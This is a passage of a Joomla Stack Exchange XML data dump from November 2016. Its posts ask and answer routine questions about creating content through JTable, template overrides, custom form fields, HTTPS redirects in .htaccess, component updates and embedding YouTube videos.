  <row Id="18460" PostTypeId="2" ParentId="18454" CreationDate="2016-11-23T12:42:34.253" Score="3" Body="&lt;h1&gt;1. Adding Joomla Content via the API&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Not sure how you are using the API to create articles and why it doesn't create the assets entries for you - assuming you have already tried to do so - as, adding Joomla content through the API will handle this for you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So you don't actually need to do anything extra in order to create the corresponding assets entries for your articles.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In short the procedure is:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;1. Instatiate the JTableContent Object&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    $item = JTable::getInstance('Content');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;2. Create your article's properties:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    $item-&amp;gt;title     = $myTitle;&#xA;    $item-&amp;gt;alias     = JFilterOutput::stringURLSafe($myAlias);&#xA;    $item-&amp;gt;introtext = $articleText;&#xA;    //... and so on&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;3. Save the article:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    $item-&amp;gt;store();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;hr&gt;&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;2. The Assets Table&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;In brief the foreach article there should be a related assets record which will hold ACL information about the article. &#xA;The assets table follows the &lt;strong&gt;Nested Set Model&lt;/strong&gt; to store data &lt;strong&gt;Hierhically&lt;/strong&gt;, similar to how data are represented in &lt;strong&gt;&lt;code&gt;XML&lt;/code&gt;&lt;/strong&gt;, where every item has a &lt;strong&gt;Parent Item&lt;/strong&gt; and 0 or more &lt;strong&gt;Children&lt;/strong&gt; - except of the &lt;strong&gt;Root Item&lt;/strong&gt; that has no parent.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Read this answer on an old question related with issues with &lt;strong&gt;&lt;code&gt;com_tags&lt;/code&gt;&lt;/strong&gt; in the &lt;strong&gt;assets table&lt;/strong&gt;, where if I can recall right there is an example explanation of how left/righ/level values are calculated, with an example diagram: &lt;strong&gt;&lt;a href=&quot;https://joomla.stackexchange.com/questions/2317/unexpected-parent-tag-association/2320#2320&quot;&gt;Unexpected parent tag association&lt;/a&gt;&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In that answer there is also a link to a great post that explains the &lt;strong&gt;Nested Set Model&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Update&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;I just remembered there was some docs in Joomla.org about using nested set model, which can be found here: &lt;strong&gt;&lt;a href=&quot;https://docs.joomla.org/Using_nested_sets&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/Using_nested_sets&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h1&gt;3. Docs&lt;/h1&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;ul&gt;&#xA;  &lt;li&gt;&lt;a href=&quot;https://docs.joomla.org/Creating_content_using_JTableContent&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;JTableContent Documentation&lt;/strong&gt;&lt;/a&gt;  &lt;/li&gt;&#xA;  &lt;li&gt;&lt;a href=&quot;https://docs.joomla.org/Using_the_JTable_class&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;JTable_class Documentation&lt;/strong&gt;&lt;/a&gt;  &lt;/li&gt;&#xA;  &lt;li&gt;&lt;a href=&quot;https://api.joomla.org/cms-3/classes/JTable.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;JTable API&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;&#xA;  &lt;/ul&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="126" LastEditorUserId="-1" LastEditDate="2017-04-13T12:50:35.620" LastActivityDate="2016-11-23T12:50:30.247" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18461" PostTypeId="1" CreationDate="2016-11-23T12:51:44.930" Score="2" ViewCount="482" Body="&lt;p&gt;I am building a template override for the default featured blog layout. Item tags are displayed with : &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if ($info == 0 &amp;amp;&amp;amp; $params-&amp;gt;get('show_tags', 1) &amp;amp;&amp;amp; !empty($this-&amp;gt;item-&amp;gt;tags-&amp;gt;itemTags)) : ?&amp;gt;&#xA;  &amp;lt;?php echo JLayoutHelper::render('joomla.content.tags', $this-&amp;gt;item-&amp;gt;tags-&amp;gt;itemTags); ?&amp;gt;&#xA;&amp;lt;?php endif; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This displays the article tags but &lt;strong&gt;is it possible to display the first parent category tags&lt;/strong&gt; instead?&lt;/p&gt;&#xA;" OwnerUserId="36" LastActivityDate="2017-01-30T08:32:56.413" Title="Get parent category tags in template override" Tags="|joomla-3.x|template-override|tags|category|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18462" PostTypeId="2" ParentId="18455" CreationDate="2016-11-23T15:26:36.897" Score="1" Body="&lt;p&gt;The page title and meta description are changed through the 'Menus' menu item in the administrative back-end.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) Choose the page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) Go to the 'Page Display' tab.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3) Change the page title via the 'Browser Page Title' input box.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;4) Go to the 'Metadata' tab.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;5) Change the description via the 'Meta Description' input box.&lt;/p&gt;&#xA;" OwnerUserId="7739" LastActivityDate="2016-11-23T15:26:36.897" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18463" PostTypeId="2" ParentId="18457" CreationDate="2016-11-23T15:37:13.893" Score="1" Body="&lt;p&gt;I am not sure what is the thing you are looking to define - assuming this is to select a table layout instead of the default list one.&lt;br&gt;&#xA;But does it have to be a table?  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The menu item &lt;strong&gt;Contacts -&gt;Lists all contacts in a category&lt;/strong&gt; will display a list of contacts from a selected category, that at least in the protostar template someone could say that it looks close to a table.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If a table layout is important you could create a template override to meet your specific layout desires.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am lazy right now to search for resources (they are plenty) on how to create template overrides - so I leave this to you. &lt;/p&gt;&#xA;" OwnerUserId="126" LastActivityDate="2016-11-23T15:37:13.893" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18464" PostTypeId="2" ParentId="18451" CreationDate="2016-11-23T16:24:48.877" Score="1" Body="&lt;p&gt;There are a few ways that you can approach this issue. I'll assume that you have your database tables and relations setup.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is what I would do:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) Create a field type called 'country'. You create a 'country.php' file in the \models\fields\ directory:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;defined(&quot;_JEXEC&quot;) or die(&quot;Restricted access&quot;);&#xA;JFormHelper::loadFieldClass('list');&#xA;&#xA;class JFormFieldCountry extends JFormFieldList&#xA;{&#xA;    protected $type = 'country';&#xA;&#xA;    protected function getOptions()&#xA;    {&#xA;        $db = JFactory::getDbo();&#xA;        $options = array();&#xA;&#xA;        $query = $db-&amp;gt;getQuery(true);&#xA;&#xA;        /** Assumes that the table has fields -&amp;gt; id, country, country_addrev **/&#xA;        $query-&amp;gt;select($db-&amp;gt;quoteName(array('id', 'country', 'country_abbrev')))&#xA;              -&amp;gt;from($db-&amp;gt;quoteName('#__countries'))&#xA;              -&amp;gt;where($db-&amp;gt;quoteName('id') . ' &amp;gt; 0');&#xA;&#xA;        $db-&amp;gt;setQuery($query);&#xA;&#xA;        foreach ($db-&amp;gt;loadObjectList() as $item)&#xA;        {&#xA;            // Create a new option object based on the &amp;lt;option /&amp;gt; element.&#xA;            $tmp = JHtml::_('select.option', $item-&amp;gt;id, $item-&amp;gt;name);&#xA;&#xA;            // Add the option object to the result set.&#xA;            $options[] = $tmp;&#xA;        }&#xA;&#xA;        // Merge any additional options in the XML definition.&#xA;        $options = array_merge(parent::getOptions(), $options);&#xA;&#xA;        return $options;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;2) In the form that I needed the drop-down list box I would have:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;field&#xA;    name=&quot;country_id&quot;&#xA;    type=&quot;country&quot;&#xA;    label=&quot;Country&quot;&#xA;    description=&quot;My field description&quot;&#xA;    default=&quot;&quot;&#xA;    required=&quot;true&quot;&#xA;&amp;gt;&#xA;    &amp;lt;option value=&quot;&quot;&amp;gt;&amp;lt;/option&amp;gt;&#xA;&amp;lt;/field&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That will give you the drop-down list box you desire.&lt;/p&gt;&#xA;" OwnerUserId="7739" LastActivityDate="2016-11-23T16:24:48.877" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18466" PostTypeId="1" CreationDate="2016-11-24T13:31:52.170" Score="4" ViewCount="1167" Body="&lt;p&gt;What is the best way to switch an existing Joomla site from http to https (SSL), technically and also from an SEO approach.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1st, i had a rule in my htaccess but it was not perfect :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteCond %{HTTPS} !on&#xA;RewriteRule (.*) https://%{HTTP_HOST}%{REQUEST_URI}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So, i deleted the rule and discover that there was a simple &quot;force SSL&quot; option.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So i activated it and it seems to do the job.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But is it enough for SEO ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Previously i was doing a redirect from non www to www like this :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteCond %{HTTP_HOST} ^domain.fr [NC]&#xA;RewriteRule ^(.*)$ http://www.domain.fr.fr/$1 [L,R=301]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Should i let this rule with force SSL or not ?&lt;/p&gt;&#xA;" OwnerUserId="1743" LastActivityDate="2016-11-29T20:04:54.640" Title="What is the best way to switch an existing Joomla site from http to https (SEO)" Tags="|seo|.htaccess-configuration|ssl|https|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18467" PostTypeId="2" ParentId="18466" CreationDate="2016-11-24T14:49:56.477" Score="3" Body="&lt;p&gt;Keep your .HTACCESS rule, but change it to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteCond %{HTTP_HOST} ^domain.fr [NC]&#xA;RewriteRule ^(.*)$ https://www.domain.fr/$1 [L,R=301]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In your &lt;code&gt;configuration.php&lt;/code&gt; file, make sure these two lines are set:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public $live_site = 'https://www.domain.fr';&#xA;public $force_ssl = '2';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5638" LastActivityDate="2016-11-24T14:49:56.477" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18468" PostTypeId="2" ParentId="18466" CreationDate="2016-11-24T17:36:49.370" Score="1" Body="&lt;p&gt;I use this chunk of .htaccess settings in the custom redirects section of Joomla's default .htaccess:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# redirect http to https&#xA;RewriteCond %{HTTPS} off&#xA;RewriteCond %{HTTP_HOST} ^(.*)$ [NC]&#xA;RewriteRule ^(.*)$ https://%1/$1 [R=301,L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It will work for any domain.&lt;/p&gt;&#xA;" OwnerUserId="7896" LastActivityDate="2016-11-24T17:36:49.370" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18469" PostTypeId="1" AcceptedAnswerId="18470" CreationDate="2016-11-24T17:51:22.833" Score="5" ViewCount="1308" Body="&lt;p&gt;I have Joomla 3.5.1 and my Joomla! Update Component version is 3.0.0&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know if I want to update to Joomla 3.6.x I have to first update to version 3.6.0&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried clearing cache of Joomla! Update. Clearing cache in the Extension Update. Updating all plugins. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But nothing is working. I cant update to 3.6.0&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even my Joomla! Update component cant find newer version, it is stuck at 3.0.0&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have read elsewhere that I need to update the Joomla! Update Component first before updating Joomla.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone has any idea? I need the newest version for security reasons&lt;/p&gt;&#xA;" OwnerUserId="8382" LastEditorUserId="3650" LastEditDate="2016-11-25T18:05:26.847" LastActivityDate="2016-11-25T18:05:26.847" Title="Updating Joomla Update Component" Tags="|joomla-3.x|joomla-3.5|update|joomla-3.6|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18470" PostTypeId="2" ParentId="18469" CreationDate="2016-11-24T18:33:32.840" Score="2" Body="&lt;p&gt;Try to first update Joomla Update component to 3.6.1 by downloading and installing it from this link&lt;br&gt;&#xA;&lt;a href=&quot;https://github.com/joomla/joomla-cms/releases/download/3.6.1/com_joomlaupdate-3.6.1.zip&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/joomla/joomla-cms/releases/download/3.6.1/com_joomlaupdate-3.6.1.zip&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It was suggested during 3.6.1 update from Joomla official GitHub on this link &lt;a href=&quot;https://github.com/joomla/joomla-cms/releases/tag/3.6.1&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/joomla/joomla-cms/releases/tag/3.6.1&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3650" LastActivityDate="2016-11-24T18:33:32.840" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18471" PostTypeId="1" AcceptedAnswerId="18473" CreationDate="2016-11-24T23:31:14.493" Score="2" ViewCount="272" Body="&lt;p&gt;I'm new to overrides and want to change the look of the category blog that I've assigned to my menu item type.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't find which override to create and which file to edit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's the blog layout that shows the content (not a list) of all articles under a specified category.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Seems like I'm missing a simple thing. Would appreciate if someone can point me to the correct override and file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am currently using the protostar template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="9332" LastEditorUserId="20" LastEditDate="2016-11-25T19:58:33.413" LastActivityDate="2016-11-25T19:58:33.413" Title="Override blog category location" Tags="|joomla-3.x|overrides|template-override|category-blog|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18473" PostTypeId="2" ParentId="18471" CreationDate="2016-11-25T03:57:14.593" Score="4" Body="&lt;p&gt;All you need is just copying these files :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.../components/com_content/views/category/tmpl/blog_children.php&#xA;.../components/com_content/views/category/tmpl/blog_item.php&#xA;.../components/com_content/views/category/tmpl/blog_links.php&#xA;.../components/com_content/views/category/tmpl/blog.php&#xA;.../components/com_content/views/category/tmpl/blog.xml&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.../templates/protostar/html/com_content/category/blog_children.php&#xA;.../templates/protostar/html/com_content/category/blog_item.php&#xA;.../templates/protostar/html/com_content/category/blog_links.php&#xA;.../templates/protostar/html/com_content/category/blog.php&#xA;.../templates/protostar/html/com_content/category/blog.xml&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2295" LastActivityDate="2016-11-25T03:57:14.593" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18474" PostTypeId="1" AcceptedAnswerId="18475" CreationDate="2016-11-25T09:54:41.097" Score="0" ViewCount="29" Body="&lt;p&gt;I recently tried to sync my live site with my dev site for some updates. I had a SQL error when trying to import the database via terminal &lt;code&gt;ERROR 1062 (23000) at line 39: Duplicate entry 'stats_siteurl' for key 'PRIMARY'&lt;/code&gt;, so I dropped and recreated the database and everything seemed fine initially. However, now when I try to access the previously working URL for my dev site, I get empty html, just this &lt;code&gt;&amp;lt;!DOCTYPE html&amp;gt;&amp;lt;title&amp;gt;&amp;lt;/title&amp;gt;&lt;/code&gt; is loaded into the page. &#xA;However, the admin page and all the content seems to be present on the back end, so I'm at a total loss as to what is happening here. Nothing is wrong with the live site so far as I can tell.&lt;/p&gt;&#xA;" OwnerUserId="8870" LastActivityDate="2016-11-25T10:21:18.190" Title="Site loads empty html but backend is accessible after database import" Tags="|joomla-3.6|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18475" PostTypeId="2" ParentId="18474" CreationDate="2016-11-25T10:21:18.190" Score="0" Body="&lt;p&gt;So, an index.html file had gotten places in the root folder by accident (mistargetted rsync) and that was causing the blank html. &lt;a href=&quot;https://forum.joomla.org/viewtopic.php?t=283982&quot; rel=&quot;nofollow noreferrer&quot;&gt;Blank front end&lt;/a&gt;&#xA;Seems to happen a bit. &lt;/p&gt;&#xA;" OwnerUserId="8870" LastActivityDate="2016-11-25T10:21:18.190" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18476" PostTypeId="1" CreationDate="2016-11-25T11:28:54.897" Score="5" ViewCount="846" Body="&lt;p&gt;I have a couple of .pdf files on my webspace. Typically I just link them per Joomla Editor. The link ist only for already logged in users, so no guests can them see. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is, that I can access the .pdf file per link directly without log-in. Thats a security problem, which shouldnt there. I want to set directory permissions for joomla user groups. I already tried ProFiles, but with no success. I picked my directory as root and set the permission i wanted. After I've set the file permissions via ftp to 600 and I have no access whether logged-in or not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Already thank you!&lt;/p&gt;&#xA;" OwnerUserId="9340" LastActivityDate="2017-01-04T23:10:11.833" Title="Joomla File Permission for Users" Tags="|joomla-3.x|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18478" PostTypeId="1" CreationDate="2016-11-25T12:56:13.057" Score="2" ViewCount="95" Body="&lt;p&gt;So I'm having trouble with a Joomla (version 3.6.4) project that I need to solve for my work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is that whenever I log in on my homepage, I get logged out when going to my custom component page. Here are some scenario's&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;When I log in on my joomla homepage, I can go to the basic pages like contact or about me, and the problem occurs whenever I want to go to a custom component page.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;When I log in on my joomla homepage, and go to a category of my custom component page, I have to log in again. When I log in on that specific category page and go to my homepage it seems alright..&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If i log in on category page A and go back to my homepage, I get logged out when I click on category page B. So I need to sign in again on category page B. When I do that, I have access to homepage, category page A and category page B, but nog category page C.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;So basically, I need to sign in on every category page on my custom component to keep browsing on my website. It does not pass along the user credentials to other pages that are available in my custom component.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this a session refresh error? or some sort of custom override method in the component that needs to be turned off?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;please help, since I have been spending my entire morning trying to figure out.&lt;/p&gt;&#xA;" OwnerUserId="9341" LastActivityDate="2017-11-30T00:54:00.260" Title="Joomla session not passed to custom component" Tags="|custom-component|session|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18479" PostTypeId="2" ParentId="18107" CreationDate="2016-11-25T13:54:50.313" Score="1" Body="&lt;p&gt;For creating a custom field in xml, do it as-&lt;/p&gt;&#xA;&#xA;&lt;p&gt;provide type =&quot;your_desired_name&quot;, like i have given abcd.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, create a php file with name abcd.php and place it in 'fields' folder.&#xA;Now define a class in it as-&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;defined('JPATH_BASE') or die;&#xA;jimport('joomla.form.formfield');&#xA;&#xA;class JFormFieldAbcd extends JFormField {&#xA;    protected $type = 'abcd';&#xA;&#xA;    protected function getInput() {&#xA;        return 'required value';&#xA;    }&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="9331" LastActivityDate="2016-11-25T13:54:50.313" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18480" PostTypeId="1" AcceptedAnswerId="18495" CreationDate="2016-11-25T15:18:43.807" Score="0" ViewCount="249" Body="&lt;p&gt;So, I'm trying to make a testimonials page and I'm using Joomla 3.64 with the News Flash Advanced Module. The site is using Theme1498 by Template Monster. I believe that there was some custom work done on the theme, but I'm not in touch with whoever designed it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to change the order in which the html is being displayed on a specific page, so basically I want a page specific layout. What I want to achieve is putting the title below the item's intro text. I think what I need to do is create an override for the layout, but I'm not sure which file to mess with. Within the theme's html-&gt;mod_articles_news_advanced there are the following files:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; _custom_item.php&#xA; _news_item.php&#xA; _projects_item.php&#xA; custom.php&#xA; masonry.php&#xA; news.php&#xA; projects.php&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;From poking around in the files, I think I need to modify one of the files preceded by the underscore, but that is as far I have gotten so far. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So how do the _item.php files relate to the layout files? When you go to the Advanced tab on the module, the Alternative layouts only correspond to the files without the underscore prefix, but the files with the underscore prefix are the only ones which look like they contain the html that I want to change.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I assume I need a custom _item.php file and probably a custom layout as well, but not sure how these files relate or how to go about getting these changes only on a single page&lt;/p&gt;&#xA;" OwnerUserId="8870" LastEditorUserId="8870" LastEditDate="2016-11-25T16:49:21.517" LastActivityDate="2016-11-28T14:43:43.893" Title="How to change html order in News Flash Advanced layouts?" Tags="|template-override|module-display|joomla-3.6|jhtml|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18484" PostTypeId="1" CreationDate="2016-11-26T09:37:10.603" Score="0" ViewCount="52" Body="&lt;p&gt;I have created a company website using bootstrap studio. When done, a new request came up to also have a article and forum pages to the site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to go with Joomla since it has articles and Kunena for a forum. I have two questions.  &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Is it possible, if install Joomla as subdomain to have navigation link to point to the homepage or other pages of my domain?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Will joomla registered member also have access to Kunena forum? or will they have to register on each?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Thank you&lt;/p&gt;&#xA;" OwnerUserId="9343" LastEditorUserId="3650" LastEditDate="2016-11-26T10:05:26.573" LastActivityDate="2016-12-28T21:10:15.363" Title="Navigation Item" Tags="|kunena|navigation|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18485" PostTypeId="1" CreationDate="2016-11-26T12:17:15.247" Score="0" ViewCount="683" Body="&lt;p&gt;I have a problem with my website. In the joomla template I have BluePage Builder. At homepage I've put an HTML tab with iframe code for a youtube video. I have changed the parameters at Global Configuration to No Filtering. I checked Allow IFrame to JCE Editor. My website is &lt;a href=&quot;http://kaltsas.gr&quot; rel=&quot;nofollow noreferrer&quot;&gt;kaltsas.gr&lt;/a&gt;. It doesn't delete the html code at editor but also it doesn't show it at front end.&lt;/p&gt;&#xA;" OwnerUserId="9346" LastEditorUserId="3650" LastEditDate="2016-11-26T16:00:15.630" LastActivityDate="2017-01-25T16:23:09.020" Title="Embeded Youtube video doesn't show at front end" Tags="|joomla-3.x|joomla-3.4|jce|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18487" PostTypeId="2" ParentId="18485" CreationDate="2016-11-26T15:57:32.037" Score="1" Body="&lt;p&gt;Well, besides the point that you should ASAP update your Joomla to 3.6.4 &lt;em&gt;(check the official Anouncement &lt;a href=&quot;https://www.joomla.org/announcements/release-news/5678-joomla-3-6-4-released.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Joomla! 3.6.4 Released&lt;/a&gt; and also search JSE for &lt;code&gt;3.6.4&lt;/code&gt;)&lt;/em&gt;,&lt;br&gt;&#xA;from the link you provided it seems that Default Menu Item (Homepage) for Greek language DOES NOT have the same module like other two languages (EN and BG) have. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;They both have following DIV&lt;br&gt;&#xA;&lt;code&gt;&amp;lt;div style=&quot;max-width:700px;height:450px;&quot; class=&quot;st-youtube &quot;&amp;gt;&#xA;  &amp;lt;iframe width=&quot;700&quot; height=&quot;450&quot; &#xA;    src=&quot;http://www.youtube.com/embed/R1h6ywml0lE?wmode=transparent&amp;amp;amp;autoplay=1&amp;amp;amp;&#xA;    loop=1&amp;amp;amp;controls=1&quot; class=&quot;videoembed&quot;&amp;gt;&#xA;  &amp;lt;/iframe&amp;gt;&#xA;&amp;lt;/div&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and video is shown correctly, while Greek homepage has only &lt;code&gt;&amp;lt;p&amp;gt;&lt;/code&gt; paragraph with &lt;code&gt;&amp;lt;img&amp;gt;&lt;/code&gt; image tag in it with embed code changed to &lt;code&gt;data-mce-json&lt;/code&gt;, which might be the problem with JCE, I'm not sure, so try updating it too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is not possible to say for certain just by looking at frontend and without access to admin, but you should check what is set for other two languages as homepage menu item which is working, and duplicate it for Greek homepage too.&lt;/p&gt;&#xA;" OwnerUserId="3650" LastEditorUserId="3650" LastEditDate="2016-11-26T16:15:16.017" LastActivityDate="2016-11-26T16:15:16.017" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18489" PostTypeId="1" AcceptedAnswerId="18490" CreationDate="2016-11-26T22:39:34.100" Score="1" ViewCount="269" Body="&lt;p&gt;I need to make a form with dependent fields.&#xA;I have already tried a lot of options, but have not found the right way.&#xA;As in the picture below, I'm trying to load a new XML file when you select an option from the list.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/hfnFI.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/hfnFI.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When the first list, select &quot;Option 1&quot; in the form of outputting a field from a file &quot;file1.xml&quot; in which other standard field Joomla.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Perhaps the answer is very simple, but I was very tired and cant find it.&lt;/p&gt;&#xA;" OwnerUserId="4036" LastEditorUserId="115" LastEditDate="2016-11-27T00:24:44.907" LastActivityDate="2017-02-25T18:33:12.613" Title="XML form related fields" Tags="|jquery|form|joomla-3.6|form-fields-types|xml|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
